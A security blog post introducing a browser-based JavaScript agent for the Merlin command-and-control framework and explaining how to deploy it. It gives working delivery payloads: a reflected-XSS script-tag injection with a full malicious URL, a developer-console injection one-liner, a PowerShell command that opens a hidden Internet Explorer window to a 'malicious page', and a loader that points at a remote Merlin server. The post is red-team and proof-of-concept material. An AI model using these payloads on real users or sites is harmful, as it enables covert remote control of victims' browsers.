Merlin ๐Ÿ’– JavaScript โ€” All up in Your Browsers

Read Time

7 mins

Published

Jan 18, 2018

Share
Blog image for Merlin ๐Ÿ’– JavaScript โ€” All up in Your Browsers

tl;dr Merlin now has a JavaScript agent that can run in web browsers capable of HTTP/2.

Merlin JavaScript Agent

asciinema.org

Theย Merlin JavaScript Agentย is only in the dev branch and can be found atย https://github.com/Ne0nd0g/merlin/blob/dev/data/html/scripts/merlin.js

Introduction to Merlin JavaScript Agent

Web browsers can be found running on a multitude of devices such as laptops, cars, phones, point-of-sale systems, TVs, tablets, and gaming consoles. Developers leverage JavaScript to run code inside a browser to do things like listen to mouse events or asynchronously gather data from other applications. In general, most web browsers are also capable of communicating over HTTP/2. With all of these factors combined, it made sense to create a Merlin Agent written in JavaScript that can run in a browser.

I wrote this JavaScript agent to exercise my programming muscles, to develop a proof-of-concept, and set a base platform that can be built-upon in the years to come. You shouldnโ€™t expect to go out and use this as part of your everyday penetration testing or red team exercise. To be honest,ย BeEFย is a much better solution and has a ton of modules that you can put to use right now.

Usage

Theย Merlin JavaScript Agentย functions the same as other agents. It is controlled through the server using the same commands. It is important to note that theย Merlin JavaScript Agentย is only capable of executing JavaScript commands. However, I plan on developing functionality to include common use cases such as options for port scanning or key logging. For example, you could executeย 2+2ย and the agent will returnย 4. Alternatively, you can executeย alert(โ€˜Merlin')ย and a JavaScript alert box will appear on the page where the Merlin Agent is running. See the video and Wiki for a demo of running JavaScript commands in Merlin.

Limitations

  • Browser must support HTTP/2
  • JavaScript XHR calls will fail if using a self-signed/untrusted TLS certificate
  • Your commands are limited to the sandbox environment (unless there is a vulnerability to escape it)
  • Web browser must stay in the foreground on mobile devices to keep running

Deployment Methods

Merlin JavaScript Agent Test Page

Merlin ships with an HTML page that can be used to test theย Merlin JavaScript Agent. It can be found atย data/html/merlin.html. This page will automatically load theย Merlin JavaScript Agent, connect to the Merlin Server, and start writing verbose messages to the screen. The quickest way to try this out it is to use Python and start a simple web server in theย htmldirectory (i.e.ย cd data/html;python -m SimpleHTTPServer) and then browse to the page atย http://127.0.0.1:8000/merlin.html.ย The figure below illustrates an example of the test page being accessed on a PlayStation to execute the Merlin JavaScript agent. Additional images can be foundย here.

Merlin JavaScript Agent Test Page on a PlayStation 4

Cross-Site Scripting (XSS)

Letโ€™s assume that youโ€™ve already found a reflective XSS vulnerability in theย errorย GET parameter forย www.acme.com. For example,ย https://www.acme.com/index.html?error=Invalid%20Typeย reflects a web page back the user that only displaysย Invalid Type. You can exploit this XSS vulnerability to deliver a Merlin JavaScript Agent to a victim if they click the link.

An example of the Merlin payload would beย <script type="text/javascript">var merlin=document.createElement('script');merlin.src='http://127.0.0.1:8000/scripts/merlin.js';document.head.appendChild(merlin)</script>.

An example of the full payload is:ย https://www.acme.com/index.html?error=%3Cscript%20type="text/javascript"%3Evar%20merlin=document.createElement('script')merlin.src='http://127.0.0.1:8000/scripts/merlin.js;document.head.appendChild(merlin)%3C/script%3E

Inject into the DOM

Most web browser come with developer tools. These tools can be used to
execute JavaScript commands on _any page_ that you are viewing. On most browsers you can hit theย F12ย key to open the developer Web Console. From
there, you can execute this command:ย var merlin=document.createElement('script');merlin.src='http://127.0.0.1:8000/scripts/merlin.js;document.head.appendChild(merlin);

Directly Inject JavaScript into Browser Window

Windows IE COM Object

Using PowerShell, you can create and hide an Internet Explorer COM object. This would create an Internet Explorer window, hide it so that the user canโ€™t see it, and then browse to your malicious page. This method also has the most obstacles. The newly created window will not trust your self-signed certificates, so you must be using a valid TLS certificate.ย For testing, you can circumvent this by making the windows visible, browsing to the root of your web server, and creating an exception in Internet Explorer. After creating the exception, then you can navigate the web page to your malicious page and then hide the window again. Additionally, Internet Explorer seems to error out if your malicious page is not served from the same place as your Merlin Server. This caused the hidden Internet Explorer window re-appear (made visible) on its own.

You can use the built-inย Merlin JavaScript Agent Test Pageย to serve the payload, but your probably better off creating a page somewhere else with minimal HTML. If you decide to serve theย Merlin JavaScript Agent Test Pageย to deliver the payload, you can shutdown the server hosting the page (not the Merlin Server) right after it is grabbed by the client. The malicious HTML page does not need to be available after initial delivery. Merlin Server is not currently setup to serve theย Merlin JavaScript Agent Test Pageย itself, yet. I will work on getting it implemented.

An example PowerShell command is:ย $W=New-Object -com 'InternetExplorer.Application';$W.visible=$FALSE;$W.navigate('https://your.merlin.server:8000/merlin.html

Override URL

You can host the JavaScript in its original form without having to hard code your Merlin Serverโ€™s URL in the file. Merlin checks the DOM for theย oURLvariable and will use its value to connect back with (if it exists). This provides flexibility to dynamically change the Merlin Serverโ€™s URL on the fly.

Note: If the place you are hosting the file returns the JavaScript file with a content-type ofย text/plain, then theย Merlin JavaScript Agentย will fail to load due to strict MIME type checking. The precludes you from calling the file directly from GitHub. However, if no content-type is provided, the agentย shouldย run.

An example command is:ย var oURL='https://your.merlin.server:443/';var merlin=document.createElement('script');merlin.src='https://some.hosting.provider/merlin.js';document.head.appendChild(merlin);

Conclusion

The point of creating a Merlin JavaScript agent was to take advantage of the fact that browsers are already capable of performing HTTP/2 connections. Additionally, several attacks and tools are finding their way to JavaScript more and more. This was developed to create a platform that can be built-upon in the future. Let me know in the comments of any additional use cases or future modules you would like to see for the JavaScript agent.

Additional Images

Merlin JavaScript Agent Test Page on an iPhone
Merlin JavaScript Agent on iPhone in Merlin Server
Merlin JavaScript Agent on PlayStation 4 in Merlin Server

Ready to get started?

Book a Demo